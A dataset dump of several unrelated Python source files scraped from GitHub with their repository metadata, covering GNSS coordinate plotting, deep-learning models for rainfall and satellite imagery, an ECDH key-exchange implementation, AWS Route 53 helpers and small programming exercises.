float(tmp_array[4])\n tmp_array[5] = int(tmp_array[5])\n tmp_array[6] = int(tmp_array[6])\n tmp_array[7] = int(tmp_array[7])\n self.nav_posllh.append(tmp_array[1:8])\n\n def posllh_posxyz(self):\n \"\"\"Construire le cube qui permettera de fixer les ambiguites\"\"\"\n fig = plt.figure()\n ax = fig.add_subplot(111, projection='3d')\n cart = [1.0,1.0,1.0]\n\n for i in range(0, self.nav_posllh.shape[0]):\n [cart[0], cart[1], cart[2]] = self.geo2cart(self.nav_posllh[i,1]*math.pow(10,-7), self.nav_posllh[i,2]*math.pow(10,-7), self.nav_posllh[i,3]*math.pow(10,-3))\n self.nav_posllh[i, 1] = float(cart[0])\n self.nav_posllh[i, 2] = float(cart[1])\n self.nav_posllh[i, 3] = float(cart[2])\n ax.scatter(self.nav_posllh[:,1], self.nav_posllh[:,2], self.nav_posllh[:,3], zdir='z', s=8, c=\"g\", depthshade=True)\n ax.set_xlabel(\"X\")\n ax.set_ylabel(\"Y\")\n ax.set_zlabel(\"Z\")\n ax.set_title(\"Distribution des positions (cartesiennes) naviguees sur 24h\")\n plt.show()\n\n def geo2cart(self, lon, lat, height):\n \"\"\"Transformer les coordonnees geographiques en cartesiennes\"\"\"\n cart = [1.0,1.0,1.0]\n cosLat = math.cos(lat * math.pi / 180.0)\n sinLat = math.sin(lat * math.pi / 180.0)\n cosLon = math.cos(lon * math.pi / 180.0)\n sinLon = math.sin(lon * math.pi / 180.0)\n rad = 6378137.0\n f = 1.0 / 298.257224\n C = 1.0 / math.sqrt(cosLat * cosLat + (1 - f) * (1 - f) * sinLat * sinLat)\n S = (1.0 - f) * (1.0 - f) * C\n cart[0] = (rad * C + height) * cosLat * cosLon\n cart[1] = (rad * C + height) * cosLat * sinLon\n cart[2] = (rad * S + height) * sinLat\n return cart\n\n def plot_data(self):\n \"\"\"Fonction pour dessiner les graphs\"\"\"\n plt.plot(self.nav_posllh[:,3])\n plt.ylabel('satellite number')\n plt.show()\n\n def getDataBySat(self, prn):\n \"\"\"Retourne une matrice d observation par satellite\"\"\"\n satData = []\n for i in range(0,self.rxm_raw.shape[0]):\n if ( self.rxm_raw[i,7] == prn):\n satData.append(self.rxm_raw[i,:])\n\n return satData\n\n def buildCube(self, x_center, y_center, z_center, step, cote):\n \"\"\"Fonction qui retourne un cube centre autour d un point defini par (x_center, y_center, z_center)\"\"\"\n fig = plt.figure()\n ax = fig.add_subplot(111, projection='3d')\n for i in range(-cote/2, cote/2, step):\n for j in range(-cote/2, cote/2, step):\n for k in range(-cote / 2, cote / 2, step):\n self.z_cube_vector.append(k + z_center)\n self.y_cube_vector.append(j + y_center)\n self.x_cube_vector.append(i + x_center)\n\n ax.scatter(self.x_cube_vector, self.y_cube_vector, self.z_cube_vector, s=8, c=\"g\", depthshade=True)\n ax.set_xlabel(\"X\")\n ax.set_ylabel(\"Y\")\n ax.set_zlabel(\"Z\")\n ax.set_title(\"Le cube\")\n plt.show()\n","repo_name":"mohamedamjad/UBLOXlib","sub_path":"analyzer/Geocube.py","file_name":"Geocube.py","file_ext":"py","file_size_in_byte":7135,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"98"} +{"seq_id":"16273044696","text":"class Car:\n def __init__(self, speed, color, name, is_police=False):\n self.speed = speed\n self.color = color\n self.name = name\n self.is_police = is_police\n\n def go(self):\n self.go = 'car is moving'\n return self.go\n\n def stop(self):\n self.stop = 'car stopped'\n return self.stop\n\n def turn(self, direction):\n self.turn = print(f'car is turning {direction}')\n\n def show_speed(self):\n print(f'Speed: {self.speed}')\n\nclass TownCar(Car):\n def show_speed(self):\n super().show_speed()\n if self.speed > 60:\n print('speed too high')\n\nclass WorkCar(Car):\n def show_speed(self):\n super().show_speed()\n if self.speed > 40:\n print('speed too high')\n\nclass SportCar(Car):\n pass\n\nclass PoliceCar(Car):\n def __init__(self, speed, color, name):\n super().__init__(speed,color,name,True)\n\n\ntowncar_ = TownCar(80, 'black', 'Toyota')\nsportcar_ = SportCar(80, 'White', 'Lada')\nworkcar_ = WorkCar(80, 'Green', 'Kia')\npolicecar_ = PoliceCar(80, 'Blue', 'ZAZ')\n\ntowncar_.show_speed()\ntowncar_.go()\nworkcar_.stop()\nsportcar_.turn('right')\npolicecar_.show_speed()","repo_name":"Kirill0684/RKN","sub_path":"6/task_4.py","file_name":"task_4.py","file_ext":"py","file_size_in_byte":1189,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"98"} +{"seq_id":"71232725442","text":"# xml 文件的修改\n\nimport os\nimport glob\nimport pandas as pd\nimport xml.etree.ElementTree as et\n\npath = r\"G:\\CS\\tensorflow\\models\\research\\object_detection\\images\\train\"\n\ndef xml_helper(xml,file_name):\n\n tree = et.parse(xml)\n root = tree.getroot()\n\n for filename in root.iter(\"filename\"):\n\n name = os.path.splitext(file_name)[0]\n filename.text = str(name+'.jpg')\n\n tree.write(os.path.join(path, file_name))\n\n\n\nif __name__ == '__main__':\n\n for xml in glob.glob(path+'\\\\*.xml'):\n\n file_name = os.path.basename(xml)\n print(file_name)\n\n xml_helper(xml, file_name)\n\n\n\n\n","repo_name":"kimotoo/other","sub_path":"tfrecord/xml_helper.py","file_name":"xml_helper.py","file_ext":"py","file_size_in_byte":618,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"98"} +{"seq_id":"36049913937","text":"#!/home/simon/anaconda3/envs/DeepRain/bin/python\nfrom tensorflow.keras.optimizers import Adam\nfrom Models.Unet import Unet,simpleUnet\nfrom Models.Loss import NLL\nfrom Models.Distributions import *\nfrom Models.Utils import *\nfrom tensorflow.keras.layers import *\nfrom tensorflow.keras import Sequential, Model\nfrom Utils.Dataset import getData\nfrom Utils.transform import cutOut,Normalize\nfrom tensorflow.keras.callbacks import *\nfrom tensorflow.keras.models import load_model\nfrom tensorflow.keras.regularizers import l2\nimport os\nimport cv2 as cv\n\nphysical_devices = tf.config.list_physical_devices('GPU')\nprint(\"Num GPUs:\", len(physical_devices))\ngpu = tf.config.experimental.list_physical_devices('GPU')\ntf.config.experimental.set_memory_growth(gpu[0], True)\n\nBATCH_SIZE = 150\nDIMENSION = (96,96)\nCHANNELS = 5\nMODELPATH = \"./Models_weights\"\nMODELNAME = \"30min_zeroInf_Poisson\"\n\n\ndef ZeroInflated_Poisson(input_shape,\n n_predictions=1,\n simpleclassification=None,\n flatten_output=False,\n activation_hidden=\"relu\",\n activation_output=\"relu\"):\n\n\n inputs = Input(shape=input_shape) \n\n conv01 = Conv2D(20, kernel_size=(3, 3), padding=\"same\")(inputs) # 10 x 64x64\n conv01 = Activation(activation_hidden)(conv01)\n conv01_pool = MaxPooling2D((2, 2), strides=(2, 2))(conv01) # 10 x 32x32\n\n\n conv02 = Conv2D(25, kernel_size=(3, 3), padding=\"same\")(conv01_pool) # 20 x 32x32\n conv02 = Activation(activation_hidden)(conv02)\n conv02_pool = MaxPooling2D((2, 2), strides=(2, 2))(conv02) # 20 x 16x16\n\n\n conv03 = Conv2D(25, kernel_size=(3, 3), padding=\"same\")(conv02_pool) # 20 x 16x16\n conv03 = Activation(activation_hidden)(conv03)\n conv03_pool = MaxPooling2D((2, 2), strides=(2, 2))(conv03) # 20 x 8x8\n\n\n conv04 = Conv2D(25, kernel_size=(3, 3), padding=\"same\")(conv03_pool) # 20 x 8x8\n conv04 = Activation(activation_hidden)(conv04)\n conv04_pool = MaxPooling2D((2, 2), strides=(2, 2))(conv04) # 20 x 4x4\n\n\n ### UPSAMPLING:\n up04 = UpSampling2D((2, 2))(conv04_pool) # 20 x 8x8\n up04 = concatenate([conv04, up04], axis=3) # 20+20 x 8x8\n\n\n up03 = UpSampling2D((2, 2))(up04) # 40 x 16x16\n up03 = concatenate([conv03, up03], axis=3) # 20+40 x 16x16\n\n\n up02 = UpSampling2D((2, 2))(up03) # 60 x 32x32\n up02 = concatenate([conv02, up02], axis=3) # 20+60 x 32x32\n\n \n up01 = UpSampling2D((2, 2))(up02) # 80 x 64x64\n up01 = concatenate([conv01, up01], axis=3) # 10+80 x 64x64\n\n \n layer = Conv2D(2, (3, 3), activation=\"selu\")(up01) # 1 x 64x64\n\n cat = Flatten()(layer[:,:,:,:1])\n count = Flatten()(layer[:,:,:,1:])\n \n \n cat = Dense(64)(cat)\n count = Dense(64)(count)\n\n cat = Dense(64*64,activation=\"sigmoid\")(cat)\n count = Dense(64*64,activation=\"relu\")(count)\n\n \n cat = tf.keras.layers.Reshape((64,64,1))(cat)\n count = tf.keras.layers.Reshape((64,64,1))(count)\n\n \n input_dist= tf.concat([cat,count],axis=-1,name=\"ConcatLayer\")\n\n output_dist = tfp.layers.DistributionLambda(name=\"DistributionLayer\",\n make_distribution_fn=lambda t: tfp.distributions.Independent(\n tfd.Mixture(\n cat=tfd.Categorical(tf.stack([1-t[...,:1], t[...,:1]],axis=-1)),\n components=[tfd.Deterministic(loc=tf.zeros_like(t[...,:1])),\n tfd.Poisson(rate=tf.math.softplus(t[...,1:2]))])\n ,name=\"ZeroInflated\",reinterpreted_batch_ndims=0 ))\n \n output = output_dist(input_dist)\n model = Model(inputs=inputs, outputs=output)\n return model\n\ndef getModel(compile_ = True):\n\n modelpath = MODELPATH\n modelname = MODELNAME\n if not os.path.exists(modelpath):\n os.mkdir(modelpath)\n\n modelpath = os.path.join(modelpath,modelname)\n\n if not os.path.exists(modelpath):\n os.mkdir(modelpath)\n\n\n \n y_transform = [cutOut([16,80,16,80])]\n train,test = getData(BATCH_SIZE,\n DIMENSION,CHANNELS,\n timeToPred=30,\n keep_sequences = True,\n y_transform=y_transform)\n\n\n input_shape = (*DIMENSION,CHANNELS)\n\n model = ZeroInflated_Poisson(input_shape=input_shape)\n\n if compile_ == False:\n return model,modelpath,train,test\n neg_log_likelihood = lambda x, rv_x: tf.math.reduce_mean(-rv_x.log_prob(x))\n \n model.compile(loss=neg_log_likelihood,\n optimizer=Adam( lr= 1e-4 ))\n model.summary()\n\n modelpath_h5 = os.path.join(modelpath,\n modelname+'-{epoch:03d}-{loss:03f}-{val_loss:03f}.h5')\n\n checkpoint = ModelCheckpoint(modelpath_h5,\n verbose=0,\n monitor='val_loss',\n save_best_only=True,\n mode='auto')\n\n return model,checkpoint,modelpath,train,test\n\n\ndef train():\n modelpath = MODELPATH\n modelname = MODELNAME\n\n model,checkpoint,modelpath,train,test = getModel()\n\n history_path = os.path.join(modelpath,modelname+\"_history\")\n laststate = getBestState(modelpath,history_path)\n test.setWiggle_off()\n\n \n if laststate:\n epoch = laststate[\"epoch\"]\n model.load_weights(laststate[\"modelpath\"])\n\n loss = model.evaluate(x=test, verbose=2)\n print(\"Restored model, loss: {:5.5f}\".format(loss))\n\n history = model.fit(train,\n validation_data = test,\n shuffle = True,\n epochs = 45+epoch,\n initial_epoch = epoch,\n batch_size = BATCH_SIZE,\n callbacks = checkpoint)\n\n history = mergeHist(laststate[\"history\"],history.history)\n\n else:\n history = model.fit(train,\n validation_data = test,\n shuffle = True,\n epochs = 100,\n batch_size = BATCH_SIZE,\n callbacks = checkpoint)\n\n history = history.history\n\n\n\n saveHistory(history_path,history)\n plotHistory(history,history_path,title=\"ZeroInf NegativeBinomial NLL-loss\")\n\n\n\n\n\n\ntrain()\n#eval()","repo_name":"PaulSut/DeepRain2","sub_path":"DeepRain/min30_zeroInf_Poisson.py","file_name":"min30_zeroInf_Poisson.py","file_ext":"py","file_size_in_byte":6580,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"98"} +{"seq_id":"9199154365","text":"# -*- coding: utf-8 -*-\n\nimport uuid\n\n\n\"\"\"Class for Route 53 domains.\"\"\"\n\nclass DomainManager:\n\n\n \"\"\"Manage a Route 53 domain.\"\"\"\n def __init__(self, session):\n self.session = session\n self.client = self.session.client('route53')\n\n\n def find_hosted_zone(self, domain_name):\n paginator = self.client.get_paginator('list_hosted_zones')\n for page in paginator.paginate():\n for zone in page['HostedZones']:\n if domain_name.endswith(zone['Name'][:-1]):\n return zone\n\n return None\n\n\n def create_hosted_zone(self , domain_name):\n zone_name = '.'.join(domain_name.split('.')[-2:]) # take the last 2 and remove the '.' at the end of xyz.abc.net. for ex\n print(zone_name)\n return self.client.create_hosted_zone(\n Name = zone_name,\n CallerReference = str(uuid.uuid4())\n\n )\n\n def create_s3_domain_record(self, zone, domain_name):\n return self.client.change_resource_record_sets(\n HostedZoneId = zone['Id'],\n ChangeBatch={\n 'Comment': 'Created by Webotron',\n 'Changes': [{\n 'Action': 'UPSERT',\n 'ResourceRecordSet': {\n 'Name': domain_name,\n 'Type': 'A',\n 'AliasTarget': {\n 'HostedZoneId': 'Z3AQBSTGFYJSTF',\n 'DNSName': 's3-website-us-east-1.amazonaws.com',\n 'EvaluateTargetHealth': False\n },\n\n }\n },\n ]\n }\n )\n","repo_name":"spatwar/aws-with-python","sub_path":"01-webotron/webotron/domain.py","file_name":"domain.py","file_ext":"py","file_size_in_byte":1727,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"98"} +{"seq_id":"14860703235","text":"#!/usr/bin/python3\n\nimport secrets\nfrom crypto import ec\nfrom util.serialize import *\nfrom .groupinfo import WeierstrassGroup, MontgomeryGroup\n\ndef ECDH(group: WeierstrassGroup|MontgomeryGroup):\n if isinstance(group, WeierstrassGroup):\n return ECDHWeierstrass(group)\n elif isinstance(group, MontgomeryGroup):\n return ECDHMontgomery(group)\n else:\n raise TypeError('Invalid EC group')\n\nclass ECDHWeierstrass:\n class PublicKey:\n size: int\n x: int\n y: int\n def __init__(self, size:int, x:int, y:int):\n self.size = size\n self.x = x\n self.y = y\n def __bytes__(self) -> bytes:\n return b'\\x04' + pack_uint(self.x, self.size) + pack_uint(self.y, self.size)\n\n def __init__(self, group: WeierstrassGroup):\n self.group = group\n self.ec = ec.Weierstrass(a=group.a, b=group.b, p=group.p)\n\n def generate_key_pair(self, priv: bytes|int|None = None) -> (bytes, bytes):\n bits = self.group.bits\n size = bits + 7 >> 3\n G = self.ec(self.group.Gx, self.group.Gy)\n if priv is None:\n priv = secrets.randbelow(self.group.p)\n if isinstance(priv, bytes):\n priv = int.from_bytes(priv, size)\n pub_ec = priv * G\n#> pub = ECDHWeierstrass.PublicKey(size, pub_ec.x, pub_ec.y)\n pub = b'\\x04' + pack_uint(pub_ec.x, size) + pack_uint(pub_ec.y, size)\n return priv, pub\n\n def create_secret(self, my_priv: bytes|int, peer_pub) -> bytes:\n bits = self.group.bits\n size = bits + 7 >> 3\n#> pub_ec = self.ec(peer_pub.x, peer_pub.y)\n pub_ec = self.ec(\n unpack_uint(peer_pub, 1, size),\n unpack_uint(peer_pub, size+1, size)\n )\n if isinstance(my_priv, bytes):\n my_priv = int.from_bytes(my_priv, size)\n secret = my_priv * pub_ec\n return pack_uint(secret.x, size)\n\n\nclass ECDHMontgomery:\n def __init__(self, group: MontgomeryGroup):\n self.group = group\n self.ec = ec.Montgomery(A=group.A, p=group.p, bits=group.bits)\n\n def decode_ucoordinate(self, u: bytes) -> int:\n bits = self.group.bits\n u_i = int.from_bytes(u, 'little')\n return u_i & ((1 << bits) - 1)\n\n def encode_ucoordinate(self, u: int, p: int) -> bytes:\n bits = self.group.bits\n u = u % p\n return u.to_bytes((bits + 7 >> 3), 'little')\n\n def decode_scalar(self, k: bytes) -> int:\n bits = self.group.bits\n cofactor = self.group.cofactor\n k_i = int.from_bytes(k, 'little')\n return k_i & ~(cofactor - 1) | (1 << bits - 1)\n\n def apply(self, k: bytes, u: bytes) -> bytes:\n bits = self.group.bits\n p = self.group.p\n k_i = self.decode_scalar(k)\n u_ec = self.ec(self.decode_ucoordinate(u))\n r_ec = k_i * u_ec\n return self.encode_ucoordinate(int(r_ec), p)\n\n def generate_key_pair(self, priv: bytes|int|None = None) -> (bytes, bytes):\n bits = self.group.bits\n size = bits + 7 >> 3\n cofactor = self.group.cofactor\n U_P = self.group.U_P\n g = U_P.to_bytes(size, 'little')\n if priv is None:\n priv_n = secrets.randbits(bits - 1) \\\n & ~(cofactor - 1) | (1 << bits - 1)\n priv = priv_n.to_bytes(size, 'little')\n if isinstance(priv, int):\n priv = priv.to_bytes(size, 'big')\n pub = self.apply(priv, g)\n return priv, pub\n\n def create_secret(self, my_priv: bytes, peer_pub: bytes) -> bytes:\n return self.apply(my_priv, peer_pub)\n","repo_name":"fercsi/crypt5tudy","sub_path":"crypto/ecdh.py","file_name":"ecdh.py","file_ext":"py","file_size_in_byte":3614,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"98"} +{"seq_id":"34044188045","text":"import keras\nfrom keras.backend import binary_crossentropy\nfrom keras.layers import merge, MaxPooling2D, UpSampling2D, Convolution2D, BatchNormalization\nfrom keras.layers.core import Lambda\nfrom keras.models import *\nfrom keras.optimizers import *\nfrom keras import backend as K\n\nimport os\nfrom .settings import BASE_DIR\n\ndef slice_batch(x, n_gpus, part):\n \"\"\"\n Divide the input batch into [n_gpus] slices, and obtain slice no.\n [part].\n\n i.e. if len(x)=10, then slice_batch(x, 2, 1) will return x[5:].\n\n \"\"\"\n\n sh = K.shape(x)\n\n L = sh[0] / n_gpus\n L = tf.cast(L, tf.int32)\n\n if part == n_gpus - 1:\n return x[part * L:]\n\n return x[part * L:int(part + 1) * L]\n\n\ndef to_multi_gpu(model, n_gpus=4):\n \"\"\"Given a keras [model], return an equivalent model which parallelizes\n\n the computation over [n_gpus] GPUs.\n\n\n\n Each GPU gets a slice of the input batch, applies the model on that\n slice\n\n and later the outputs of the models are concatenated to a single\n tensor,\n\n hence the user sees a model that behaves the same as the original.\n\n \"\"\"\n\n with tf.device('/cpu:0'):\n x = Input(model.input_shape[1:], name=model.input_names[0])\n\n towers = []\n\n for g in range(n_gpus):\n with tf.device('/gpu:' + str(g)):\n slice_g = Lambda(slice_batch, lambda shape: shape, arguments={'n_gpus': n_gpus, 'part': g})(x)\n\n towers.append(model(slice_g))\n\n with tf.device('/cpu:0'):\n merged = merge(towers, mode='concat', concat_axis=0)\n\n new_model = Model(input=[x], output=merged)\n\n funcType = type(model.save)\n\n # monkeypatch the save to save just the underlying model\n def new_save(self_, filepath, overwrite=True):\n model.save(filepath, overwrite)\n\n new_model.save = funcType(new_save, new_model)\n\n return new_model\n\n\nsmooth = 1e-12\n\n\ndef jaccard_coef(y_true, y_pred):\n intersection = K.sum(y_true * y_pred, axis=[0, -1, -2])\n sum_ = K.sum(y_true + y_pred, axis=[0, -1, -2])\n\n jac = (intersection + smooth) / (sum_ - intersection + smooth)\n\n return K.mean(jac)\n\n\ndef jaccard_coef_int(y_true, y_pred):\n y_pred_pos = K.round(K.clip(y_pred, 0, 1))\n\n intersection = K.sum(y_true * y_pred_pos, axis=[0, -1, -2])\n sum_ = K.sum(y_true + y_pred_pos, axis=[0, -1, -2])\n\n jac = (intersection + smooth) / (sum_ - intersection + smooth)\n\n return K.mean(jac)\n\n\ndef jaccard_coef_loss(y_true, y_pred):\n return -K.log(jaccard_coef(y_true, y_pred)) + binary_crossentropy(y_pred, y_true)\n\n\nclass myUnet(object):\n\n def __init__(self, tp='buildings', img_rows=512, img_cols=512):\n\n self.type = tp\n self.img_rows = img_rows\n self.img_cols = img_cols\n\n # Define the neural network\n def get_unet(self):\n inputs = Input((512, 512, 1))\n #\n conv1 = Convolution2D(32, 3, 3, border_mode='same', kernel_initializer='he_normal')(inputs)\n conv1 = BatchNormalization(mode=0, axis=1)(conv1)\n conv1 = keras.layers.advanced_activations.ELU()(conv1)\n conv1 = Convolution2D(32, 3, 3, border_mode='same', kernel_initializer='he_normal')(conv1)\n conv1 = BatchNormalization(mode=0, axis=1)(conv1)\n conv1 = keras.layers.advanced_activations.ELU()(conv1)\n pool1 = MaxPooling2D(pool_size=(2, 2))(conv1)\n #\n conv2 = Convolution2D(64, 3, 3, border_mode='same', kernel_initializer='he_normal')(pool1)\n conv2 = BatchNormalization(mode=0, axis=1)(conv2)\n conv2 = keras.layers.advanced_activations.ELU()(conv2)\n conv2 = Convolution2D(64, 3, 3, activation='relu', border_mode='same', kernel_initializer='he_normal')(conv2)\n conv2 = BatchNormalization(mode=0, axis=1)(conv2)\n conv2 = keras.layers.advanced_activations.ELU()(conv2)\n pool2 = MaxPooling2D(pool_size=(2, 2))(conv2)\n #\n conv3 = Convolution2D(128, 3, 3, border_mode='same', kernel_initializer='he_normal')(pool2)\n conv3 = BatchNormalization(mode=0, axis=1)(conv3)\n conv3 = keras.layers.advanced_activations.ELU()(conv3)\n conv3 = Convolution2D(128, 3, 3, border_mode='same', kernel_initializer='he_normal')(conv3)\n conv3 = BatchNormalization(mode=0, axis=1)(conv3)\n conv3 = keras.layers.advanced_activations.ELU()(conv3)\n pool3 = MaxPooling2D(pool_size=(2, 2))(conv3)\n #\n conv4 = Convolution2D(256, 3, 3, border_mode='same', kernel_initializer='he_normal')(pool3)\n conv4 = BatchNormalization(mode=0, axis=1)(conv4)\n conv4 = keras.layers.advanced_activations.ELU()(conv4)\n conv4 = Convolution2D(256, 3, 3, border_mode='same', kernel_initializer='he_normal')(conv4)\n conv4 = BatchNormalization(mode=0, axis=1)(conv4)\n conv4 = keras.layers.advanced_activations.ELU()(conv4)\n # drop4 = Dropout(0.5)(conv?4)\n pool4 = MaxPooling2D(pool_size=(2, 2))(conv4)\n #\n conv5 = Convolution2D(512, 3, 3, border_mode='same', kernel_initializer='he_normal')(pool4)\n conv5 = BatchNormalization(mode=0, axis=1)(conv5)\n conv5 = keras.layers.advanced_activations.ELU()(conv5)\n conv5 = Convolution2D(512, 3, 3, border_mode='same', kernel_initializer='he_normal')(conv5)\n conv5 = BatchNormalization(mode=0, axis=1)(conv5)\n conv5 = keras.layers.advanced_activations.ELU()(conv5)\n # drop5 = Dropout(0.5)(conv5)\n #\n up1 = merge([UpSampling2D(size=(2, 2))(conv5), conv4], mode='concat', concat_axis=-1)\n conv6 = Convolution2D(256, 3, 3, border_mode='same', kernel_initializer='he_normal')(up1)\n conv6 = BatchNormalization(mode=0, axis=1)(conv6)\n conv6 = keras.layers.advanced_activations.ELU()(conv6)\n conv6 = Convolution2D(256, 3, 3, border_mode='same', kernel_initializer='he_normal')(conv6)\n conv6 = BatchNormalization(mode=0, axis=1)(conv6)\n conv6 = keras.layers.advanced_activations.ELU()(conv6)\n #\n up2 = merge([UpSampling2D(size=(2, 2))(conv6), conv3], mode='concat', concat_axis=-1)\n conv7 = Convolution2D(128, 3, 3, border_mode='same', kernel_initializer='he_normal')(up2)\n conv7 = BatchNormalization(mode=0, axis=1)(conv7)\n conv7 = keras.layers.advanced_activations.ELU()(conv7)\n conv7 = Convolution2D(128, 3, 3, border_mode='same', kernel_initializer='he_normal')(conv7)\n conv7 = BatchNormalization(mode=0, axis=1)(conv7)\n conv7 = keras.layers.advanced_activations.ELU()(conv7)\n #\n up3 = merge([UpSampling2D(size=(2, 2))(conv7), conv2], mode='concat', concat_axis=-1)\n conv8 = Convolution2D(64, 3, 3, border_mode='same', kernel_initializer='he_normal')(up3)\n conv8 = BatchNormalization(mode=0, axis=1)(conv8)\n conv8 = keras.layers.advanced_activations.ELU()(conv8)\n conv8 = Convolution2D(64, 3, 3, border_mode='same', kernel_initializer='he_normal')(conv8)\n conv8 = BatchNormalization(mode=0, axis=1)(conv8)\n conv8 = keras.layers.advanced_activations.ELU()(conv8)\n #\n up4 = merge([UpSampling2D(size=(2, 2))(conv8), conv1], mode='concat', concat_axis=-1)\n conv9 = Convolution2D(32, 3, 3, border_mode='same', kernel_initializer='he_normal')(up4)\n conv9 = BatchNormalization(mode=0, axis=1)(conv9)\n conv9 = keras.layers.advanced_activations.ELU()(conv9)\n conv9 = Convolution2D(32, 3, 3, border_mode='same', kernel_initializer='he_normal')(conv9)\n conv9 = BatchNormalization(mode=0, axis=1)(conv9)\n conv9 = keras.layers.advanced_activations.ELU()(conv9)\n conv9 = Convolution2D(2, 3, 3, border_mode='same', kernel_initializer='he_normal')(conv9)\n #\n conv10 = Convolution2D(1, 1, 1, activation='sigmoid')(conv9)\n\n model = Model(input=inputs, output=conv10)\n\n model.compile(optimizer=Nadam(lr=1e-3), loss=jaccard_coef_loss,\n metrics=['binary_crossentropy', jaccard_coef_int])\n # model = to_multi_gpu(model)\n # model.compile(optimizer=Nadam(lr=1e-3), loss=jaccard_coef_loss,\n # metrics=['binary_crossentropy', jaccard_coef_int])\n\n return model\n\n def predict(self, imgs_test):\n model = self.get_unet()\n if self.type == 'buildings':\n model.load_weights(os.path.join(BASE_DIR, 'satellite_image_recognition/model_weights/unet_b.hdf5'))\n else:\n model.load_weights(os.path.join(BASE_DIR, 'satellite_image_recognition/model_weights/unet_c.hdf5'))\n model.compile(optimizer=Nadam(lr=1e-3), loss=jaccard_coef_loss,\n metrics=['binary_crossentropy', jaccard_coef_int])\n\n imgs_mask_test = model.predict(imgs_test, batch_size=8, verbose=1)\n K.clear_session()\n return imgs_mask_test\n","repo_name":"ndmel/satellite_image_recognition","sub_path":"satellite_image_recognition/u_net.py","file_name":"u_net.py","file_ext":"py","file_size_in_byte":8758,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"98"} +{"seq_id":"27837879218","text":"'''\r\n0 또는 양의 정수가 주어졌을 때, 정수를 이어 붙여 만들 수 있는 가장 큰 수를 알아내 주세요.\r\n\r\n예를 들어, 주어진 정수가 [6, 10, 2]라면 [6102, 6210, 1062, 1026, 2610, 2106]를 만들 수 있고, 이중 가장 큰 수는 6210입니다.\r\n\r\n0 또는 양의 정수가 담긴 배열 numbers가 매개변수로 주어질 때, 순서를 재배치하여 만들 수 있는 가장 큰 수를 문자열로 바꾸어 return 하도록 solution 함수를 작성해주세요.\r\n제한 사항\r\n\r\n numbers의 길이는 1 이상 100,000 이하입니다.\r\n numbers의 원소는 0 이상 1,000 이하입니다.\r\n 정답이 너무 클 수 있으니 문자열로 바꾸어 return 합니다.\r\n\r\nnumbers \treturn\r\n[6, 10, 2] \t\"6210\"\r\n[3, 30, 34, 5, 9] \t\"9534330\"\r\n\r\n'''\r\nfrom itertools import permutations\r\n\r\ndef solution(numbers):\r\n new_list = list(permutations(numbers,len(numbers)))\r\n new_list = set(new_list)\r\n result = []\r\n for i in new_list:\r\n answer = \"\"\r\n for j in i:\r\n answer += str(j)\r\n result.append(answer)\r\n\r\n\r\n return int(max(result))","repo_name":"back-js/Algorithm","sub_path":"Array/largest_number.py","file_name":"largest_number.py","file_ext":"py","file_size_in_byte":1127,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"98"} +{"seq_id":"12417720555","text":"import numpy as np\nimport torch\nfrom torch import nn\nfrom itertools import chain\n\nclass Controller(nn.Module):\n\n def __init__(self, **kwargs):\n super().__init__()\n self.num_module = kwargs['num_module']\n self.dim_lstm = kwargs['dim_lstm']\n self.T_ctrl = kwargs['T_ctrl']\n self.use_gumbel = kwargs['use_gumbel']\n\n self.fc_q_list = [] # W_1^{(t)} q + b_1\n for t in range(self.T_ctrl):\n self.fc_q_list.append(nn.Linear(self.dim_lstm, self.dim_lstm))\n self.add_module('fc_q_%d'%t, self.fc_q_list[t])\n self.fc_q_cat_c = nn.Linear(2*self.dim_lstm, self.dim_lstm) # W_2 [q;c] + b_2\n self.fc_module_weight = nn.Sequential(\n nn.Linear(self.dim_lstm, self.dim_lstm),\n nn.ReLU(),\n nn.Linear(self.dim_lstm, self.num_module)\n )\n self.fc_raw_cv = nn.Linear(self.dim_lstm, 1)\n self.c_init = nn.Parameter(torch.zeros(1, self.dim_lstm).normal_(mean=0, std=np.sqrt(1/self.dim_lstm)))\n\n def forward(self, lstm_seq, q_encoding, embed_seq, seq_length_batch):\n \"\"\" \n Input:\n lstm_seq: [seq_max_len, batch_size, d]\n q_encoding: [batch_size, d]\n embed_seq: [seq_max_len, batch_size, e]\n seq_length_batch: [batch_size]\n \"\"\"\n device = lstm_seq.device\n batch_size, seq_max_len = lstm_seq.size(1), lstm_seq.size(0)\n seq_length_batch = seq_length_batch.view(1, batch_size).expand(seq_max_len, batch_size) # [seq_max_len, batch_size]\n c_prev = self.c_init.expand(batch_size, self.dim_lstm) # (batch_size, dim)\n module_logit_list = []\n module_prob_list = []\n c_list, cv_list = [], []\n\n for t in range(self.T_ctrl):\n q_i = self.fc_q_list[t](q_encoding)\n q_i_c = torch.cat([q_i, c_prev], dim=1) # [batch_size, 2d]\n cq_i = self.fc_q_cat_c(q_i_c) # [batch_size, d]\n module_logit = self.fc_module_weight(cq_i) # [batch_size, num_module]\n module_prob = nn.functional.gumbel_softmax(module_logit, hard=self.use_gumbel) # [batch_size, num_module]\n\n elem_prod = cq_i.unsqueeze(0) * lstm_seq # [seq_max_len, batch_size, dim]\n raw_cv_i = self.fc_raw_cv(elem_prod).squeeze(2) # [seq_max_len, batch_size]\n invalid_mask = torch.arange(seq_max_len).long().to(device).view(-1, 1).expand_as(raw_cv_i).ge(seq_length_batch)\n raw_cv_i.data.masked_fill_(invalid_mask, -float('inf'))\n cv_i = nn.functional.softmax(raw_cv_i, dim=0).unsqueeze(2) # [seq_max_len, batch_size, 1]\n c_i = torch.sum(lstm_seq * cv_i, dim=0) # [batch_size, d]\n assert c_i.size(0)==batch_size and c_i.size(1)==self.dim_lstm\n c_prev = c_i\n # add into results\n module_logit_list.append(module_logit)\n module_prob_list.append(module_prob)\n c_list.append(c_i)\n cv_list.append(cv_i.squeeze(2).permute(1, 0))\n\n return (torch.stack(module_logit_list), # [T_ctrl, batch_size, num_module]\n torch.stack(module_prob_list), # [T_ctrl, batch_size, num_module]\n torch.stack(c_list), # [T_ctrl, batch_size, d]\n torch.stack(cv_list)) # [T_ctrl, batch_size, 